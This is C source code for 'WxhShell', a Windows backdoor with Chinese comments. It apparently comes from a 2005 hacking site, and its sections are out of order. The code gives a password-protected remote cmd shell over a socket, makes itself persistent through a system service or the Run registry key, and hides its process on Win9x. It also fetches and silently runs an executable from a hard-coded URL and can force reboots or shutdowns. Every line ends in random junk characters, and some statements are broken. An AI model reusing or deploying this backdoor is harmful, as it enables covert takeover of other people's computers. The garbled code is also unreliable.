    else { ?R#)1{(8d~  
    closesocket(wsh); "wHFN>5B  
    ExitThread(0); !Rt>xD  
    } NgCvVWto  
    break; k# rBB  
    } PiYxk+N  
  // 获取shell OBAi2Vw  
  case 's': { )>- =R5ZV  
    CmdShell(wsh); #C3.Jef  
    closesocket(wsh); O8.5}>gDn.  
    ExitThread(0); ia 73?*mXT  
    break; pV"R|{#V  
  } DDH:)=;z  
  // 退出 XvlU*TO~(~  
  case 'x': { # N cK X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6i~WcAs  
    CloseIt(wsh); Ez=Olbk  
    break; J9[r|`gJ(  
    } Y.r+wc]  
  // 离开 ( ICd}  
  case 'q': { 9 |vLwQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^]-6u:J!  
    closesocket(wsh); {,~3.5u   
    WSACleanup(); >J>[& zS  
    exit(1); 3jC_AO%T  
    break; t1y4 7fX6  
        } 46&/gehr  
  } 4Wm@W E  
  } P}7'm M  
hFl^\$Re  
  // 提示信息 v-_e)m^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;VO:ph4Aj  
} e;}7G  
  } M1iS(x  
uGEfIy 2  
  return; V /V9B2.$  
} 7Da`   
r #cGop]  
// shell模块句柄 |2n4QBH!  
int CmdShell(SOCKET sock) sI^Xb@'09$  
{ P! #[mio  
STARTUPINFO si; <T|3`#o0  
ZeroMemory(&si,sizeof(si)); czRFMYE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l3I:Q^x@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =.]4;z  
PROCESS_INFORMATION ProcessInfo; orMwAV  
char cmdline[]="cmd"; D!-g&HBTC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  DwE[D]7o  
  return 0; O*)Vhw'pK  
} ")XHak.JX  
%.-4!vj  
// 自身启动模式 MC.) 2B7  
int StartFromService(void) MJ [m  
{ fN^8{w/O  
typedef struct hAnPXiD  
{ 9c,'k#k  
  DWORD ExitStatus; G[I"8iS,  
  DWORD PebBaseAddress; dV$gB<iS  
  DWORD AffinityMask; *Y7u'v  
  DWORD BasePriority; hVAn>_(  
  ULONG UniqueProcessId; a>I+]`g  
  ULONG InheritedFromUniqueProcessId; Eq9x2  
}   PROCESS_BASIC_INFORMATION; EF}\brD1  
[H^z-6x:0  
PROCNTQSIP NtQueryInformationProcess; ca*DZG/  
`1{ZqRFQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mtp+rr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O#~yKqB  
VfC<WVYiZ  
  HANDLE             hProcess; {|_M # w~&  
  PROCESS_BASIC_INFORMATION pbi; ^-Kf']hU  
{xB!EQ"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Tc &z:  
  if(NULL == hInst ) return 0; GmEJhr.3`=  
Jg\zdi:t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YPK(be_|I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MvHm)h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZC`wO%,  
)E@.!Ut4o  
  if (!NtQueryInformationProcess) return 0; 1AfnzGvA  
Yi+wC}   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L Mbn  
  if(!hProcess) return 0; q#ClnG*  
 ~f1%8z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2 %@4]  
JG!mc7  
  CloseHandle(hProcess); 8\ +T8(m  
ith 3 =`3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); foF({4q7b^  
if(hProcess==NULL) return 0; aa?b`[Xa  
O-~ 7b(Z  
HMODULE hMod; 6YLj^w] %  
char procName[255]; gk[aM~p  
unsigned long cbNeeded; ceh j;  
ZaDyg"Tw+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C]eSizS.  
RLynE V;]  
  CloseHandle(hProcess); }=UHbU.n~!  
V>)OpvoT#  
if(strstr(procName,"services")) return 1; // 以服务启动 zyc"]IzOU  
 Ins`l  
  return 0; // 注册表启动 .TR9975  
} 7he,?T)vD  
/-ch`u md  
// 主模块 w%VU/6~  
int StartWxhshell(LPSTR lpCmdLine) 6C^ D#.S  
{ z8~NZ;A  
  SOCKET wsl; :q7Wy&ow  
BOOL val=TRUE; \H~T>j{N  
  int port=0; t#/YN.@r  
  struct sockaddr_in door; YTpSHpf@  
='sHj4hU  
  if(wscfg.ws_autoins) Install(); 6BHXp# #z  
el<s8:lA  
port=atoi(lpCmdLine); =Z3F1Cq?  
gX}8#O.K$  
if(port<=0) port=wscfg.ws_port; '&R2U_  
du lI&_x  
  WSADATA data; eRstD>r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y8Z_Itlf  
>,Ci?[pf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C12Fl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z'U1bMg  
  door.sin_family = AF_INET; C8:f_mJU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2K6qY)/_  
  door.sin_port = htons(port); mPK:R^RjG&  
/-qNh >v4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R)( T^V`{  
closesocket(wsl); IH&|Tcf\  
return 1; 6NuD4Ga  
} \0I_<  
sPQQ"|wU  
  if(listen(wsl,2) == INVALID_SOCKET) { o.g V4%  
closesocket(wsl); LTCb@L{^i  
return 1; x8\?}UnB  
} PfD.:amN7  
  Wxhshell(wsl);  #ut  
  WSACleanup(); $q{!5-e  
.x.]`b(  
return 0; 6qpJUkd  
t?&|8SId  
} :$|HNeDO  
8.=BaNU  
// 以NT服务方式启动 vjCu4+w($Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TR`U-= jH,  
{ ^Za-`8#`L  
DWORD   status = 0; Hqx-~hQO  
  DWORD   specificError = 0xfffffff; f:w?pE  
u8g~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "ycJ:Xv49  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8z`G,qh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .},'~NM]  
  serviceStatus.dwWin32ExitCode     = 0; >J?fl8  
  serviceStatus.dwServiceSpecificExitCode = 0; $dC?Tl|B0  
  serviceStatus.dwCheckPoint       = 0; eHZws`W  
  serviceStatus.dwWaitHint       = 0; :#ik. D  
(D&3G;0tK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MYvY]Jx3  
  if (hServiceStatusHandle==0) return; 1#2 I  
At>DjKx]O  
status = GetLastError(); NB#OCH1/9  
  if (status!=NO_ERROR) |F[+k e  
{ ]^7@}Ce_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  `25yE/  
    serviceStatus.dwCheckPoint       = 0; 5 PJhEB  
    serviceStatus.dwWaitHint       = 0;  A,<E\  
    serviceStatus.dwWin32ExitCode     = status; W,n!3:7 s  
    serviceStatus.dwServiceSpecificExitCode = specificError; 783,s_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $GcqBg-Hi  
    return; P4'Q/Sj  
  } $( kF#  
m dg8,n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SHgN~ Um  
  serviceStatus.dwCheckPoint       = 0; v{N`.~,^  
  serviceStatus.dwWaitHint       = 0; tSUEZ62EY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;[YG@-"XZ  
} |aS.a&vwR  
lb3b m)@:  
// 处理NT服务事件,比如:启动、停止 -@2iaQ(5a2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bsli0FJSh'  
{ T3<4B!UB&  
switch(fdwControl) gZXi]m&  
{ o:'MpKm  
case SERVICE_CONTROL_STOP: Pmx -8w  
  serviceStatus.dwWin32ExitCode = 0; ~,Ix0h+H+M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !9e=_mY  
  serviceStatus.dwCheckPoint   = 0; iWkWR"ys y  
  serviceStatus.dwWaitHint     = 0; u c)eil  
  { Dx?,=~W9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u&vf+6=9Dd  
  } fTec  
  return; vh%B[brUJ  
case SERVICE_CONTROL_PAUSE:  K5h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _jVN&\A]mC  
  break; Z5n1@a __  
case SERVICE_CONTROL_CONTINUE: Sz`,X0a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~ .g@hS8>  
  break; \gaw6S>n}  
case SERVICE_CONTROL_INTERROGATE: (ZZ8L-s  
  break; q3!bky\  
}; h438`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Btn?N  
} .L~AL|2_  
wwZ,;\  
// 标准应用程序主函数 \M^bD4';>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~36!?&eA8  
{ U iW>J  
/([kh~a  
// 获取操作系统版本 va@Lz&sAE%  
OsIsNt=GetOsVer(); 1))8 A@,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n7[V&`e_  
-Q*gW2KmV  
  // 从命令行安装 oMa6(3T?E  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q1 97mN+0  
_Fl9>C"u  
  // 下载执行文件 }Sv:`9=  
if(wscfg.ws_downexe) { <bWG!ZG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DvvK^+-~  
  WinExec(wscfg.ws_filenam,SW_HIDE); gM:".Ee  
} VTE .^EK!  
VI86KJu  
if(!OsIsNt) { U Cjld  
// 如果时win9x,隐藏进程并且设置为注册表启动 `|q(h Ow2  
HideProc(); {P_.~0pc*  
StartWxhshell(lpCmdLine); 26h21Z16q  
} |CyE5i0  
else 5.GR1kl6  
  if(StartFromService())  b>ySv  
  // 以服务方式启动 =Xr.'(U  
  StartServiceCtrlDispatcher(DispatchTable); JWxwJex  
else #ABZ&Z  
  // 普通方式启动 \9T7A&  
  StartWxhshell(lpCmdLine); (4nq>;$3  
SmO~,2=  
return 0; =I_'.b  
} ]Y&VT7+Z  
X &H"51  
kAUymds;O  
(E1~H0^  
=========================================== >A"(KSNL  
h<QY5=S F  
`R^gU]Z,  
z F;K  
t]G:L}AOl  
C0Z=~Q%  
" @=u3ZVD  
om>KU$g  
#include <stdio.h> 8z\xrY  
#include <string.h> )4;`^]F  
#include <windows.h> ^-'fW7[m  
#include <winsock2.h> |_U= z;Y  
#include <winsvc.h> COlaD"Y  
#include <urlmon.h> .=; ;  
~g t@P  
#pragma comment (lib, "Ws2_32.lib") M',?u  
#pragma comment (lib, "urlmon.lib") j'K/22  
hi[pVk~B)  
#define MAX_USER   100 // 最大客户端连接数 Flb&B1  
#define BUF_SOCK   200 // sock buffer ]]yO1x$Kk  
#define KEY_BUFF   255 // 输入 buffer ?aMOZn?  
c:.eGH_f  
#define REBOOT     0   // 重启 V(*(F7+  
#define SHUTDOWN   1   // 关机 w4Z'K&d=  
1h5 Akq  
#define DEF_PORT   5000 // 监听端口 Ek}A]zC  
P!k{u^$L  
#define REG_LEN     16   // 注册表键长度 kG*~ |ma  
#define SVC_LEN     80   // NT服务名长度 ovV'VcUs  
SgOheN-  
// 从dll定义API bZV/l4TU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z?z.?a r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #_lDss  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TS5Q1+hWHV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5kXYeP3:  
:~^ (g$Z  
// wxhshell配置信息 {l >hMxij  
struct WSCFG { KK &?gTa  
  int ws_port;         // 监听端口 fikkY=  
  char ws_passstr[REG_LEN]; // 口令 Y nZiT e@  
  int ws_autoins;       // 安装标记, 1=yes 0=no `P ,d$H "  
  char ws_regname[REG_LEN]; // 注册表键名 nFs(?Rv*  
  char ws_svcname[REG_LEN]; // 服务名 W@!S%Y9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v*yuE5{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cCc( fF*^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {]|J5Dgfe  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VLN_w$iEq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FC"8#*x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 29q _BR *:  
2GStN74Xr  
}; >yh2Lri  
ws^ np  
// default Wxhshell configuration #cLBQJq  
struct WSCFG wscfg={DEF_PORT, GvlS%  
    "xuhuanlingzhe", A. w:h;7  
    1, (_{y B[z>`  
    "Wxhshell", D|#E9OQzs  
    "Wxhshell", T9q-,w/j;  
            "WxhShell Service", sUm'  
    "Wrsky Windows CmdShell Service", H7+,*  
    "Please Input Your Password: ", /|#fejPh  
  1, 9Lfv^V0  
  "http://www.wrsky.com/wxhshell.exe", O<W_fx8_'  
  "Wxhshell.exe" d*Fj3Wkx  
    }; <_KIK  
eKqk= (  
// 消息定义模块 $xdy&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _n\GNUA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dcWD(-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h3@v+Z<}  
char *msg_ws_ext="\n\rExit."; E q+_&Wk  
char *msg_ws_end="\n\rQuit.";  1ZB"EQ  
char *msg_ws_boot="\n\rReboot..."; 9k[9P;"F:  
char *msg_ws_poff="\n\rShutdown..."; 9]o-O]7/  
char *msg_ws_down="\n\rSave to "; , SnSW-P  
63x?MY6  
char *msg_ws_err="\n\rErr!"; <yg F(  
char *msg_ws_ok="\n\rOK!"; Yp2eBgo"  
Ef13Q]9|  
char ExeFile[MAX_PATH]; YkQd  
int nUser = 0; w917N 4$  
HANDLE handles[MAX_USER]; U_c*6CK  
int OsIsNt; H~z`]5CN  
)TM4R)r%)9  
SERVICE_STATUS       serviceStatus; 3|Xyl`i4o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P J[`|  
WvZ8/T'x  
// 函数声明 Fh9h,' V"  
int Install(void); >t_6B~x9  
int Uninstall(void); F`]2O:[  
int DownloadFile(char *sURL, SOCKET wsh); 07=mj%yV  
int Boot(int flag); mBON$sF|  
void HideProc(void); gjzuG< 7m  
int GetOsVer(void); w$-6-rE]d  
int Wxhshell(SOCKET wsl); ijx0gh`~  
void TalkWithClient(void *cs); }txX; "/  
int CmdShell(SOCKET sock); nwCrZW  
int StartFromService(void); 1|-Dj|  
int StartWxhshell(LPSTR lpCmdLine); "@,}p\  
kt$jm)UI~l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q{;:SgZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $5Ff1{  
85xR2<:  
// 数据结构和表定义 _n>,!vH  
SERVICE_TABLE_ENTRY DispatchTable[] = x5*!Wx   
{ I"7u2"@-8j  
{wscfg.ws_svcname, NTServiceMain}, k7A-J\  
{NULL, NULL} `$ aZ0+  
}; $(>+VH`l  
oIj#>1~c%  
// 自我安装 Aj+F |l  
int Install(void) #" iu| D  
{ scLll,~  
  char svExeFile[MAX_PATH]; C/6V9;U  
  HKEY key; , ^f+^^  
  strcpy(svExeFile,ExeFile); (+y  
+pn N!:q  
// 如果是win9x系统,修改注册表设为自启动 0T5L_%c  
if(!OsIsNt) { OMg<V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WWHoi{ q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ut/=R !(K  
  RegCloseKey(key); L.0mk_&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2Ny"O.0h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /,Re "!jh  
  RegCloseKey(key); 7CTFOAx#  
  return 0; Y,t={HiclX  
    } b |p)9&^r  
  } EV@X*| w  
} h6`6tk  
else { pYZ6e_j1 ~  
dP]\Jo=Yh  
// 如果是NT以上系统,安装为系统服务 R>mmoG}MQ[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6-B|Y3)B  
if (schSCManager!=0) ILShd)]Rw  
{ ~d*(=G  
  SC_HANDLE schService = CreateService p hzKm9  
  ( 8::$AQL3  
  schSCManager, =\:qo'l  
  wscfg.ws_svcname, r{I% \R!@  
  wscfg.ws_svcdisp, 0-yp,G  
  SERVICE_ALL_ACCESS, mah JSz(3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0Bi.6r  
  SERVICE_AUTO_START, 2OR{[L*  
  SERVICE_ERROR_NORMAL, y0.8A-2:  
  svExeFile, @{tz:f  
  NULL, x$Oq0d{T  
  NULL, 8MzVOF{"  
  NULL, .Blf5b  
  NULL, WE.{p>  
  NULL d,Yw5$i  
  ); };jN\x?&q  
  if (schService!=0) ?3zc=J"t  
  { ZE=Sp=@)j  
  CloseServiceHandle(schService); sAS:-wp  
  CloseServiceHandle(schSCManager); wL 4dTc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,UGRrS  
  strcat(svExeFile,wscfg.ws_svcname); D"rK(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BB*f4z$Y%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b Y\K  
  RegCloseKey(key); :LRYYw  
  return 0; ,\  
    } X"e5 Y!:M-  
  } <[\`qX  
  CloseServiceHandle(schSCManager); Y^7$t^&  
} -$jEfi4I  
} jW3!6*93  
u:gN?O/G  
return 1; MLje4  
} 1&)?JZhg  
(SDr!!V<  
// 自我卸载 o9%)D<4M  
int Uninstall(void) MVTMwwO\[  
{ t2I5hSf  
  HKEY key; UU mTOJr  
B~JwHwIhA  
if(!OsIsNt) { &U raUl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !GLz)#SBl  
  RegDeleteValue(key,wscfg.ws_regname); ,dov<U[ia  
  RegCloseKey(key); D2!X?"[ P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XY)&}u.  
  RegDeleteValue(key,wscfg.ws_regname); -pa )K"z  
  RegCloseKey(key); Iw&vTU=2  
  return 0; Hh-+/sO~"  
  } V=qwwYz~  
} KJ=6n%6  
} 6c"0})p  
else { 2`>ToWN!  
{QZUDPPR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2FF4W54I  
if (schSCManager!=0) ^G.Xc\^w:  
{ xA 1hfe.9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e2ilB),  
  if (schService!=0) W?aI|U1  
  { 65p?Igb  
  if(DeleteService(schService)!=0) { 8X`tU<Ab  
  CloseServiceHandle(schService); , GY h9  
  CloseServiceHandle(schSCManager); ]2'na?q9  
  return 0; e~@ [18  
  } jJY"{foWV  
  CloseServiceHandle(schService); \ 3?LqJ  
  } gu<'QV"  
  CloseServiceHandle(schSCManager); Y"Ql!5=  
} T/xp?Vq6/  
} 0-|byAh  
jhu&& ==\f  
return 1; 1_ C]*p  
} !Mim@!5M  
7#U^Dx\yh  
// 从指定url下载文件 Tp?y8r  
int DownloadFile(char *sURL, SOCKET wsh) ;._7jFj.  
{ =ng\ 9y[;D  
  HRESULT hr; ;D s46M-s  
char seps[]= "/"; =gvBz| +  
char *token; XC "'Q+  
char *file; 4*mS y  
char myURL[MAX_PATH]; AfP 'EP0m  
char myFILE[MAX_PATH]; CI :`<PZ\-  
'd&0Js$^  
strcpy(myURL,sURL); )+"'oY$]}  
  token=strtok(myURL,seps); Da:unVbU  
  while(token!=NULL) )aao[_ZS  
  { Cc<,z*T  
    file=token; +1!qs,  
  token=strtok(NULL,seps); Vc%R$E%  
  } f{i8w!O"~  
.8uz 6~  
GetCurrentDirectory(MAX_PATH,myFILE); ZA9sTc[ g  
strcat(myFILE, "\\"); 80Y\|)  
strcat(myFILE, file); LIVU^Os.  
  send(wsh,myFILE,strlen(myFILE),0); ^/ =#UQ*k  
send(wsh,"...",3,0); nG, U>)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c$`4*6  
  if(hr==S_OK) pD2<fP_  
return 0; lR`'e0Lq  
else  ^eGNgE  
return 1; 7`H 1f]d  
B_l{<  
} *;U'[H3Q  
ZBG}3Z   
// 系统电源模块 q;D+ai  
int Boot(int flag) M9f?q.Bv  
{ 1w0OKaF5  
  HANDLE hToken; [;.`,/  
  TOKEN_PRIVILEGES tkp; (j"(  
deeU@x`f<  
  if(OsIsNt) { 8dOo Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5P h X"7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H,<7G;FPT  
    tkp.PrivilegeCount = 1; X$b={]b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &Q=ZwC7#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $]&(7@'qo  
if(flag==REBOOT) { Grz 3{U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vhT_=:x  
  return 0; L]hXp t  
} FNQX7O52  
else { ^t*x*m8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V*$L;xbC|  
  return 0; T\# *S0^  
} >71&]/Rv  
  } uH^ PQ  
  else { l0Ti Z  
if(flag==REBOOT) { }T0K^Oe+eS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DrvtH+e  
  return 0; "?GebA  
} Uo_tUp_Q  
else { iG ,t_??  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0-3rQ~u  
  return 0; 0gF!!m  
} +>g`m)?p  
} I#FF*@oeM  
MY nH2w]  
return 1; Er:?M_ev  
} D~&Mwsi  
}GnwY97  
// win9x进程隐藏模块 qJT0Y/l:(  
void HideProc(void) )06iV  
{ h#Ce_,o  
-#A:`/22  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6=PiVwI  
  if ( hKernel != NULL ) 9-bG<`v\E  
  { 9;r? nZT/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H.J5i~s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); re,.@${H  
    FreeLibrary(hKernel); (%Oe_*e}Y  
  } P-JfV7(O8  
'CS.p!Z\  
return; -Ubj6 t_K  
} ._p""'Sa  
GZ0aOpUWVq  
// 获取操作系统版本 2N6=8Xy 5K  
int GetOsVer(void) ~ |,e_ zA  
{ CYB=Uq,  
  OSVERSIONINFO winfo; #Y,A[Y5jX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RyRqH:p)3  
  GetVersionEx(&winfo); Gbd?%{Xc-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~%q7Vmk9  
  return 1; ,bSVVT-b  
  else g^o_\ hp  
  return 0; +>3]%i- \  
} t58m=4  
"L~@.W!@  
// 客户端句柄模块 \kwe51MQ  
int Wxhshell(SOCKET wsl) Xn7 [n  
{ }g,X5v?W  
  SOCKET wsh; CT5Y/E? }  
  struct sockaddr_in client; .{N\<01  
  DWORD myID; 2uo8jF.h  
cy:;)E>/  
  while(nUser<MAX_USER) ( ji_o^  
{ WX*cICb5  
  int nSize=sizeof(client); \FI^ Vk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -iQsi4  
  if(wsh==INVALID_SOCKET) return 1; lgG8!Ja  
4ROWz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &8Wlps`  
if(handles[nUser]==0) Rc7.M"wzjX  
  closesocket(wsh); f sX;Nj]  
else Pw #2<>  
  nUser++; ECdfLn*c  
  } OX,F09.C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  ,(hY%M&\  
anitqy#E  
  return 0; V9$-twhu  
} `1p?*9Ssn  
5k`e^ARf  
// 关闭 socket T.euoFU{Z  
void CloseIt(SOCKET wsh) 4O Zy&,  
{ zuj;T,R;  
closesocket(wsh); g&aT!%QvX+  
nUser--; bfc.rZ  
ExitThread(0); 'qlxAYw<f  
} pqd4iR Wv  
v7$9QVze  
// 客户端请求句柄 [b pwg&Oo  
void TalkWithClient(void *cs) j<|6s,&  
{  XDvq7ZD  
`w(sXkeaI  
  SOCKET wsh=(SOCKET)cs; a:xgjUt&5  
  char pwd[SVC_LEN]; dTgM"k  
  char cmd[KEY_BUFF]; (HaU,vP  
char chr[1]; :EaiM J_=  
int i,j; iqlVlm>E  
kOzt"t&  
  while (nUser < MAX_USER) { IM2/(N.%  
kt5YgW  
if(wscfg.ws_passstr) { t-a`.y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *@=fq|6l 2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f#2#g%x  
  //ZeroMemory(pwd,KEY_BUFF); TyyRj4>  
      i=0; CYMM*4#  
  while(i<SVC_LEN) { Ny[s+2?  
>pJ6{Ip  
  // 设置超时 012:BZR  
  fd_set FdRead; !4!S{#<q  
  struct timeval TimeOut; u<J2p?`\&`  
  FD_ZERO(&FdRead); U0ns3LirP  
  FD_SET(wsh,&FdRead); \_)02ZT:  
  TimeOut.tv_sec=8; 9O2a | d  
  TimeOut.tv_usec=0; +,:nm_kQU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C!oksI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v^57j:sD  
YGi/]^Nba  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ArLz;#AOn  
  pwd=chr[0]; h7)VJY  
  if(chr[0]==0xd || chr[0]==0xa) { s-Q7uohK  
  pwd=0; [Ja(ArO3|[  
  break; @DUN;L 4  
  } S]Sp Z8  
  i++; Cw@k.{*7,  
    } (bM)Nd  
H ,01o5J  
  // 如果是非法用户,关闭 socket R*zBnHAb!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -O>^eMWywo  
} 8b8e^\l(  
>}xAg7\^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A?^A*e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o9DYr[  
sj?`7kg  
while(1) { \pT^Zhp)  
$4#=#aKW.  
  ZeroMemory(cmd,KEY_BUFF); .`i'gPLkn2  
Z{8exym  
      // 自动支持客户端 telnet标准   dlU JYI  
  j=0; EIy]qAE:f  
  while(j<KEY_BUFF) { U4 go8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `!5tH?bX  
  cmd[j]=chr[0]; "\wDS2M)  
  if(chr[0]==0xa || chr[0]==0xd) { P'F Pe55F  
  cmd[j]=0; `[g# Mxw  
  break; &mO/u= u  
  } K{eqB!@j  
  j++; \Nh^Ig   
    } bahc{ZC2  
$; KQY7  
  // 下载文件 Wme1Uid  
  if(strstr(cmd,"http://")) { dvrvpDoE.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >F LdI  
  if(DownloadFile(cmd,wsh)) 4F1.D9u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '>S8t/  
  else [1Qk cR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -=v/p*v0o  
  } jN5} 2 p*  
  else { "`V"2zZlj  
}tl8(kjm  
    switch(cmd[0]) { nEa'e5 lg  
  ;_Of`C+  
  // 帮助 5Qm.ECXV  
  case '?': { yC&b-y  
